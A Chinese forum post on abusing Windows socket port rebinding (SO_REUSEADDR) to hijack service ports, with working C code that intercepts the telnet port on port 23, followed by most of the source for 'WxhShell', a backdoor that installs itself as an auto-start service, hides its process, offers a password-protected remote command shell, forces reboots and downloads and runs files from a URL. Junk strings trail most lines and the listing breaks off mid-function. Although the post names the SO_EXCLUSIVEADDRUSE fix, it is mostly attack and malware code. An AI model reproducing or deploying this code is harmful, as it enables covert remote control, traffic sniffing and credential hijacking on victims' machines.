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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BRQ9kK20  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;Bc f~[ErM  
(z2)<_bXJ  
  saddr.sin_family = AF_INET; rMe` HM@  
(S5'iks x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }w8h^(+B  
q*DR~Ov  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |1g2\5Re  
~S|Vd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CEYHD?9k8  
m%ET!+  
  这意味着什么?意味着可以进行如下的攻击: [+{ ot   
/Ia=/Jj7N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n+zXt?{u  
TnM}|~V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +/\.%S/  
=!U{vT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VQPq+78  
/nb(F h|{T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4ms hB  
lxbbyy25  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PwF}yx kI  
N g'f u|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -jC. dz  
>P\T nb"Q\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FX}<F0([?  
%|SbZ)gcQ  
  #include *}ay  
  #include "^_p>C)T  
  #include ^%go\ C ;  
  #include    xhUQ.(S`r6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8Y5* 1E*  
  int main() rRT9)wDa  
  { 4$IPz7  
  WORD wVersionRequested; ,"h$!k"$g  
  DWORD ret; `*}#Bks!  
  WSADATA wsaData; CFul_qZ/e  
  BOOL val; htM5Nm[g  
  SOCKADDR_IN saddr; >GT0 x  
  SOCKADDR_IN scaddr; 0R_ZP12  
  int err; lG\lu'<C  
  SOCKET s; J4`08,  
  SOCKET sc; (y~da~  
  int caddsize; *>_:E6)  
  HANDLE mt; @sfV hWG  
  DWORD tid;   \VtCkb  
  wVersionRequested = MAKEWORD( 2, 2 ); bI]1!bi]i  
  err = WSAStartup( wVersionRequested, &wsaData ); Q=e?G300#L  
  if ( err != 0 ) { 71K6] ~<  
  printf("error!WSAStartup failed!\n"); ]PUyX8'~  
  return -1; T]CvfvO5  
  } @|-ydm0  
  saddr.sin_family = AF_INET; ^o,@9GT s  
   1O(fI|gcO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }[AIE[  
R0. `2=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XHN?pVZ7  
  saddr.sin_port = htons(23); R#1m_6I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hd;>k$B  
  { ANT^&NjJ7  
  printf("error!socket failed!\n"); >IoOCQQ*  
  return -1; $9W9*WQL  
  } j{p0yuZ)<  
  val = TRUE; ).v;~yE   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OEB_LI'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D#(A?oN  
  { X+&@$v1  
  printf("error!setsockopt failed!\n"); Bct>EWQ  
  return -1; L x9`y t6  
  }  .':SD{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5fVdtJk7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?:U6MjlQ"{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oWXvkDN   
&2QN^)q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rycscE4,  
  { uO"@YX/  
  ret=GetLastError(); \BJnJk!%  
  printf("error!bind failed!\n"); w'L;`k;Q  
  return -1; &X|z(vSJ$  
  } F+hsIsQ  
  listen(s,2); 3*8#cSQ/6o  
  while(1) YJ3970c/M  
  { T*YdGIFO  
  caddsize = sizeof(scaddr); l8^^ O   
  //接受连接请求 r43dnwX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |nm,5gPNC  
  if(sc!=INVALID_SOCKET) Yq1 ~"he8  
  { zlSwKd(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M.|hnGX N  
  if(mt==NULL) ;K:.*sAa  
  { VLQfuh;  
  printf("Thread Creat Failed!\n"); )Xg#x:  
  break; 60`y=!?f  
  } tM@TT@.t~  
  } pdtK3Pf  
  CloseHandle(mt); N4HnW0  
  } q=96Ci_a  
  closesocket(s); C}+(L3Z  
  WSACleanup(); jriliEz;f  
  return 0; ia?8 Z"&lK  
  }   B'~.>, fg  
  DWORD WINAPI ClientThread(LPVOID lpParam) A;2?!i#f  
  { F}sfk}rp  
  SOCKET ss = (SOCKET)lpParam; [0J0<JnK  
  SOCKET sc; R \`,Q'3  
  unsigned char buf[4096]; \UNw43EL  
  SOCKADDR_IN saddr; n'M}6XUw  
  long num; [=LQ,e$r7  
  DWORD val; mg#+%v  
  DWORD ret; JNMZn/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2OK%eVba  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @8/-^Rh*  
  saddr.sin_family = AF_INET; 0|4XV{\qT$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )ZiJl5l@  
  saddr.sin_port = htons(23); {H0B"i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cu/w><h)  
  { cT.1oaAM0  
  printf("error!socket failed!\n"); 6J&L5E  
  return -1; Gia_B6*Y[  
  } oq0G@  
  val = 100; ZYL]|/"J9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B}*xrPj  
  { N2~DxVJ5cT  
  ret = GetLastError(); L\n_q6n  
  return -1; 6.K)uQgjmv  
  } OF DPtJwV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1}V_:~7  
  { /u#uC(Uwl  
  ret = GetLastError(); }dB01Jl '  
  return -1; S{ *RF)  
  } q$H'u[KQ06  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iLS' 47  
  { m\jp$  
  printf("error!socket connect failed!\n"); meIY00   
  closesocket(sc); \UK  9  
  closesocket(ss); L TO1LAac  
  return -1; Lww0LH >  
  } 6'*?zZrz  
  while(1) k6*2= xK~  
  { >i`'e~%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tK]r>?Y\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DmD*,[rD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =_v_#;h&  
  num = recv(ss,buf,4096,0); Iy`Zh@"~  
  if(num>0) 3YRhqp"E  
  send(sc,buf,num,0); gv<9XYByt  
  else if(num==0) 4}?Yp e-  
  break; hEEbH@b  
  num = recv(sc,buf,4096,0); * =r,V  
  if(num>0) .s, hl(w,  
  send(ss,buf,num,0); <4(rY9   
  else if(num==0) V-I_SvWv\  
  break; w"A'uFXLc  
  } 5N ' QG<jE  
  closesocket(ss); T_I"Tsv  
  closesocket(sc); SD JAk&Z}R  
  return 0 ; 4Jo:^JV  
  } ?b2%\p`"  
K4l,YR;r  
S W  
========================================================== 4$vya+mAk5  
}vc C4 =t/  
下边附上一个代码,,WXhSHELL KZ<zsHX8H  
+]*?J1 Y8Z  
========================================================== >F@7}Y(  
WXXLD:gxI  
#include "stdafx.h" X"'}1o  
], ' n!:>  
#include <stdio.h> <PJwBA%{  
#include <string.h> G~^Pkl3%T  
#include <windows.h> kS+*@o  
#include <winsock2.h> )2FS9h.t  
#include <winsvc.h> g!aM-B^C  
#include <urlmon.h> \!s0VEE  
cV)C:!W2  
#pragma comment (lib, "Ws2_32.lib") (wvDiW5  
#pragma comment (lib, "urlmon.lib") )zen"](cze  
UyIjM;X  
#define MAX_USER   100 // 最大客户端连接数 JNk ]$ xz  
#define BUF_SOCK   200 // sock buffer  aA0aW=R  
#define KEY_BUFF   255 // 输入 buffer VJJw"4DJ  
!XgkK k  
#define REBOOT     0   // 重启 hv7!x=?8  
#define SHUTDOWN   1   // 关机 cH"M8gP#  
ggX'`bK  
#define DEF_PORT   5000 // 监听端口 9<-AukK m  
wCc:HfmjJ  
#define REG_LEN     16   // 注册表键长度 kqv>rA3  
#define SVC_LEN     80   // NT服务名长度 *crpM3fO>  
VU)ywIs  
// 从dll定义API >#c]rk:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GD.mB[f*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nvpdu)q<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0nA17^W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zD2B hta y  
~vaV=})  
// wxhshell配置信息 Fc42TH p  
struct WSCFG { 8M:;9a8fh  
  int ws_port;         // 监听端口 R-hqaEB  
  char ws_passstr[REG_LEN]; // 口令 !]5F2~"v  
  int ws_autoins;       // 安装标记, 1=yes 0=no g4%x7#vz0  
  char ws_regname[REG_LEN]; // 注册表键名 &87D.Yy^  
  char ws_svcname[REG_LEN]; // 服务名 jskATA /  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J%D'Xlb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d) G7U$z~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Px'%5TKN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E%jOJA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tse(iX/D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UHweV:(|T  
8pt;''  
}; Y@RPQPmIQ  
_vvnxG!x&  
// default Wxhshell configuration h^34{pKDn  
struct WSCFG wscfg={DEF_PORT, hRGK W  
    "xuhuanlingzhe", jw#'f%*  
    1, ToDN^qE+  
    "Wxhshell", s`GSc)AI  
    "Wxhshell", *F~"4g  
            "WxhShell Service", nM)]  
    "Wrsky Windows CmdShell Service", gwR ^Z{  
    "Please Input Your Password: ", ~D<o}ItRF  
  1, K'n^, t  
  "http://www.wrsky.com/wxhshell.exe", WB $Z<m :  
  "Wxhshell.exe" jcFh2  
    }; <E6]8SQE  
QoI@/ jLj  
// 消息定义模块 :NS;y-{^^y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MdZ7Yep  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nN/v7^^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GeZwbJ/?B  
char *msg_ws_ext="\n\rExit."; g#5g0UP)V  
char *msg_ws_end="\n\rQuit."; 6$ @Pk<w  
char *msg_ws_boot="\n\rReboot..."; rb&^ei9B  
char *msg_ws_poff="\n\rShutdown..."; 1OE^pxfi>  
char *msg_ws_down="\n\rSave to "; &l{yEWA}g  
%^gT.DsX-  
char *msg_ws_err="\n\rErr!"; L=4?vs  
char *msg_ws_ok="\n\rOK!"; ?nj _gL  
j08|zUe  
char ExeFile[MAX_PATH]; esbxx##\  
int nUser = 0; +JBhw4et;.  
HANDLE handles[MAX_USER]; 0O"GI33Mg  
int OsIsNt; \f0I:%-  
@5Ril9J[b  
SERVICE_STATUS       serviceStatus; 7Dom[f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C6CX{IA]  
@QVAsNW:O  
// 函数声明 :#I8Cf  
int Install(void); cd*y{Wt  
int Uninstall(void); SM! [ yC  
int DownloadFile(char *sURL, SOCKET wsh); F)5QpDmqb  
int Boot(int flag); #=Q/<r.~G  
void HideProc(void);  QH9(l  
int GetOsVer(void); H>;km$b +  
int Wxhshell(SOCKET wsl); mkrvWZjZX  
void TalkWithClient(void *cs); BAg*zYV7  
int CmdShell(SOCKET sock); ?GB($D=Y'&  
int StartFromService(void); cV)fe`Gg  
int StartWxhshell(LPSTR lpCmdLine); Fov/?:f$  
VH+^G)^)W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dFo9O!YX[f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -!(3fO:  
\9@*Jgpd6*  
// 数据结构和表定义 {eqUEdC  
SERVICE_TABLE_ENTRY DispatchTable[] = #B)/d?aa'  
{ f1hi\p0q  
{wscfg.ws_svcname, NTServiceMain}, VH,k EbJ  
{NULL, NULL} J0mY=vX  
}; w0^(jMQe^  
*G>V`||RW  
// 自我安装 Qf7]t-Kp  
int Install(void) <74q]C  
{ =@gH$Q_1  
  char svExeFile[MAX_PATH]; ?VS {,"X  
  HKEY key; REnRpp$  
  strcpy(svExeFile,ExeFile); wL5IAkq  
ch \*/  
// 如果是win9x系统,修改注册表设为自启动 ;&;coH8`  
if(!OsIsNt) { X\X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =n9adq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5j{o0&=_$  
  RegCloseKey(key); {B?%r[nW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 6 K8|K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4#;rv$ {  
  RegCloseKey(key); ' OdZ[AN  
  return 0; mL18FR N  
    } 7<|1 xOT  
  } !*?&V3!  
} `k^ i#Nc>  
else { 3=T<c?[  
N$p}rh#7{  
// 如果是NT以上系统,安装为系统服务  6:ZqS~-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #}:VZ2Z  
if (schSCManager!=0) "g>uNtt~  
{ ~W%A8`9  
  SC_HANDLE schService = CreateService Wy)|-Q7  
  ( J U}XSb  
  schSCManager, W4|1wd}.t  
  wscfg.ws_svcname, [)Xu60? Q  
  wscfg.ws_svcdisp, pWbzBgM?nU  
  SERVICE_ALL_ACCESS, DY~~pi~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {BY`Wu:w  
  SERVICE_AUTO_START, :}UWy?F  
  SERVICE_ERROR_NORMAL, }@!d(U*  
  svExeFile, (U/6~r'.L  
  NULL, ;9=9D{-4+  
  NULL, )&se/x+  
  NULL, NAx( Qi3  
  NULL, iWGgt]RJ  
  NULL cS4e}\q,  
  ); ogip#$A}3  
  if (schService!=0) 08yTTt76t  
  { j)'V_@  
  CloseServiceHandle(schService); .<rL2`C[c  
  CloseServiceHandle(schSCManager); kOFEH!9&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _+z@Qn?#6h  
  strcat(svExeFile,wscfg.ws_svcname); _ nS';48  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }Jh!B|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \EUc17  
  RegCloseKey(key); g] X4)e]  
  return 0; c c ,]  
    } :==kC672  
  } qaG%PH}a  
  CloseServiceHandle(schSCManager); P,_GTs3/G  
} *)L%pH>`  
} >~>=[M0  
&AUL]:<s  
return 1; -58r* [=8  
} = Ky1v$<  
P.&,nFIg3  
// 自我卸载 !COaPrg  
int Uninstall(void) , $78\B^  
{ ^^3 >R`  
  HKEY key; i.0}qS?  
tG^Oj:  
if(!OsIsNt) { s-*8=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .6(Bf$E  
  RegDeleteValue(key,wscfg.ws_regname); %DgU  
  RegCloseKey(key); XH1so1h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 04WKAP'c N  
  RegDeleteValue(key,wscfg.ws_regname); }P-9\*hlm  
  RegCloseKey(key); ,Y &Q,  
  return 0; csH1X/3ha\  
  } qGl+KI  
} Ndx.SOj  
} M\e%GJ0  
else { .F'Fk=N  
- FA#hUK$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qB<D'h7  
if (schSCManager!=0) WTY{sq\' o  
{ S%mN6b~{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +]`MdOu  
  if (schService!=0) ? Yy[8_(tN  
  { 7EQ |p  
  if(DeleteService(schService)!=0) { &q``CCOF&  
  CloseServiceHandle(schService); %mtW-drv>  
  CloseServiceHandle(schSCManager); Z&JW}''n|F  
  return 0; hh <=D.u  
  } :g+R}TR[i  
  CloseServiceHandle(schService); p,]Hs{R  
  } YU M%3  
  CloseServiceHandle(schSCManager); z=n"cE[KtB  
} )-2OraUm<  
} xI}]q%V  
n&FN?"I/]  
return 1; r\ ` R$  
} -[0)n{AVvU  
]*[S# Jk  
// 从指定url下载文件 3$(1LN  
int DownloadFile(char *sURL, SOCKET wsh) ?Xh=rx_  
{ p`33`25  
  HRESULT hr; S7E:&E&  
char seps[]= "/"; t+q:8HNh  
char *token; Q4CxtY  
char *file; W O|2x0K  
char myURL[MAX_PATH]; 4=*VXM/  
char myFILE[MAX_PATH]; NnrX64|0  
jP@H$$-=wH  
strcpy(myURL,sURL); ylmf^G@JC  
  token=strtok(myURL,seps); Kn=P~,FaG3  
  while(token!=NULL) @e$z Ej5  
  { !;zacw  
    file=token; 224I%x.,  
  token=strtok(NULL,seps); {j ${i  
  } t}_qtO7>  
[KVBT;q6  
GetCurrentDirectory(MAX_PATH,myFILE); i7cMe8  
strcat(myFILE, "\\"); <CzH'!FJN  
strcat(myFILE, file); RfEmkb<9Z  
  send(wsh,myFILE,strlen(myFILE),0); =NH:/j^  
send(wsh,"...",3,0); >[O @u4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sW3-JA]  
  if(hr==S_OK) 7=Ew[MOmM  
return 0; S=eY`,'#R  
else ~Q>97%  
return 1; N/qr}- 3z  
!yG{`#NZZ  
} )z2Tm4>iql  
\96?OC dr  
// 系统电源模块 D0lgKQ  
int Boot(int flag) `:-{8Vo7  
{ L*D-RYW  
  HANDLE hToken; wrac\.  
  TOKEN_PRIVILEGES tkp; UT==x<  
I/pavh  
  if(OsIsNt) { 9~ K 1+%!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -P(q<T2MV'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eaYQyMv@  
    tkp.PrivilegeCount = 1; 6_^ u}me  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m`I6gnLj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HGh`O\f8  
if(flag==REBOOT) { |XLx6E2F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~y$B #.l  
  return 0; %RdCSQ9~  
} O292JA  
else { V78QV3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O}Fp\"  
  return 0; TL1pv l  
} jF_K*:gQ  
  } =HQH;c"  
  else { ,*@m<{DX)  
if(flag==REBOOT) { ZV,n-M =  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HZkC3$  
  return 0; Ac^}wXp  
} _F;(#D  
else { FC.y%P,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l`[*b_ Xt  
  return 0; B&O931E7  
} UStZ3A'  
} PfF7*}P  
UyEyk$6SU  
return 1; N6Vn/7I5%  
} 6AUXYbK,  
& WYIfx{  
// win9x进程隐藏模块 }f;Zx)!  
void HideProc(void) esLPJx  
{ kzbgy)PK3  
q/XZb@rt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pi40w+/  
  if ( hKernel != NULL ) \2L%%M  
  { V\r5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t(\d;ybyx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x5c pv  
    FreeLibrary(hKernel); ])7t!<  
  } [`6|~E"F  
k8GcHqNHx  
return; NMJ230?  
} j_o6+R k  
0^? 3hK  
// 获取操作系统版本 '<^%> R2  
int GetOsVer(void) \T/~" w  
{ 9V0iV5?(P  
  OSVERSIONINFO winfo; >C*q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1WfN_JKB5  
  GetVersionEx(&winfo); Y6?d y\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <fJoHS  
  return 1; B+`m  
  else KNic$:i  
  return 0; ]$EKowi  
} 15)=>=1mR.  
f]h99T  
// 客户端句柄模块 CTD{!I(  
int Wxhshell(SOCKET wsl) I'`Q_5s5  
{ d-#MRl$rtK  
  SOCKET wsh; s4@AK48  
  struct sockaddr_in client; cW/RH.N  
  DWORD myID; 71z$a  
zEl@jK,{$  
  while(nUser<MAX_USER) (=j]fnH?  
{ 8;5 UO,`T  
  int nSize=sizeof(client); ullq}}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ";J1$a  
  if(wsh==INVALID_SOCKET) return 1; 7;dV]N  
fM]zD/ g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >dUnk)7  
if(handles[nUser]==0) |z<E%`u%  
  closesocket(wsh); _W@q%L>  
else 0mF3Vs`-Q  
  nUser++; IMmoq={ (z  
  } %i]q} M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JcvWE $  
%t([  
  return 0; 0vqXLFf   
} ]>b.oI/  
:K#'?tH  
// 关闭 socket ?>*i8*  
void CloseIt(SOCKET wsh) p,* rVz[Y  
{ xm6=l".%z  
closesocket(wsh); #VgPg5k.<  
nUser--; Dr^#e  
ExitThread(0); +#"CgZ]  
} 'ZgrN14  
+Tf,2?O  
// 客户端请求句柄 Xjt/ G):L  
void TalkWithClient(void *cs) =nh/w#  
{ &y[Od{=  
j="{^b  
  SOCKET wsh=(SOCKET)cs; c*'D  
  char pwd[SVC_LEN]; po}Jwx!  
  char cmd[KEY_BUFF]; HpiP"Sl  
char chr[1]; C:"Al-  
int i,j; P 5yS`v$@  
<T>C}DGw  
  while (nUser < MAX_USER) { 7H:1c=U  
I8d#AVF2  
if(wscfg.ws_passstr) { XkHO=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oP$NTy[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X2 c<.  
  //ZeroMemory(pwd,KEY_BUFF); 9fp1*d  
      i=0; ryy".'v  
  while(i<SVC_LEN) { zF[kb%o  
> )YaWcI  
  // 设置超时 @/@#,+  
  fd_set FdRead; E?l_ *[G  
  struct timeval TimeOut; xL3-(K6e  
  FD_ZERO(&FdRead); ycg5S rg  
  FD_SET(wsh,&FdRead); ow,I|A  
  TimeOut.tv_sec=8; ; f:}gMK  
  TimeOut.tv_usec=0; *,.WI )@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lEL&tZ}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  )`!i"  
y m<3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HFu#-}iNV  
  pwd=chr[0]; ^vS+xq|4"  
  if(chr[0]==0xd || chr[0]==0xa) { c |  
  pwd=0; CPWe (  
  break; ?B.>VnYZ/a  
  } R *lJe6  
  i++; '#mv-/<t*  
    } |QHDg(   
})#6 BN  
  // 如果是非法用户,关闭 socket ak 94"<p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xp"ZK=r  
} _&_#uV<WG0  
6nV]Ec~3[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~L)9XK^15  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n dgG1v%  
d #9 \]Ul&  
while(1) { |_@ '_  
#]>Z4=]v  
  ZeroMemory(cmd,KEY_BUFF); Tp2`eY5  
'!>LF1W=  
      // 自动支持客户端 telnet标准   2fM*6CaS  
  j=0; GLrHb3@"N  
  while(j<KEY_BUFF) { ]|ew!N$ar=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . Xn w@\k'  
  cmd[j]=chr[0]; 8x#SpDI  
  if(chr[0]==0xa || chr[0]==0xd) { 6,"86  
  cmd[j]=0; 3e+ Ih2  
  break; 4 8l!P(>?y  
  } } QVREj  
  j++; G9J+D?'hH  
    } Sz|;wsF{  
P~/Gla k  
  // 下载文件 MA0 }BJoW  
  if(strstr(cmd,"http://")) { o,dO.isgh>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~UA:_7#\M  
  if(DownloadFile(cmd,wsh)) +L D\~dcV+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M}2a/}4   
  else gM~ dPM|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bBA #o\[  
  } ejP273*ah  
  else { f-6-!  
H/n3il_-I  
    switch(cmd[0]) { &~Qi+b0!  
  VX0q!Q  
  // 帮助 ^EY^.?Mg  
  case '?': { p2s*'dab7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N]f"+  
    break; N=R|s$,Oy9  
  } fgcI55&jV{  
  // 安装 3m:[o`L  
  case 'i': { }{/3yXk[G  
    if(Install()) YBb%D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @k~'b  
    else {+r0Nikx_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?hu}wl)  
    break; s @\UZ C  
    } 0h^&`H:  
  // 卸载 '}3@D$YiM%  
  case 'r': { ?Ho~6q8O@  
    if(Uninstall()) Gzy"$t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7@iyO7U  
    else `(NMHXgG+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dg(882#_  
    break; =w&JDj  
    } J;"66ue(d  
  // 显示 wxhshell 所在路径 aF2vw{wT}  
  case 'p': { Tv2d?y  
    char svExeFile[MAX_PATH]; Z<+Ipj&  
    strcpy(svExeFile,"\n\r"); fy&vo~4i;  
      strcat(svExeFile,ExeFile); O%feBe  
        send(wsh,svExeFile,strlen(svExeFile),0); LA?h+)  
    break; sswYwU  
    } Bs7/<$9K/  
  // 重启 `j+[JMr  
  case 'b': { /sHWJ?`&/,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4E\Jk5co,  
    if(Boot(REBOOT)) !U,W; R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l Q/u#c$n  
    else { x`:zC#  
    closesocket(wsh); RE~:+.eB  
    ExitThread(0); t0t" =(d  
    } L9L!V"So1k  
    break; 2rK%fV53b  
    } HAa$ pGb  
  // 关机 ]3UEju8$  
  case 'd': { ';<gc5EK  
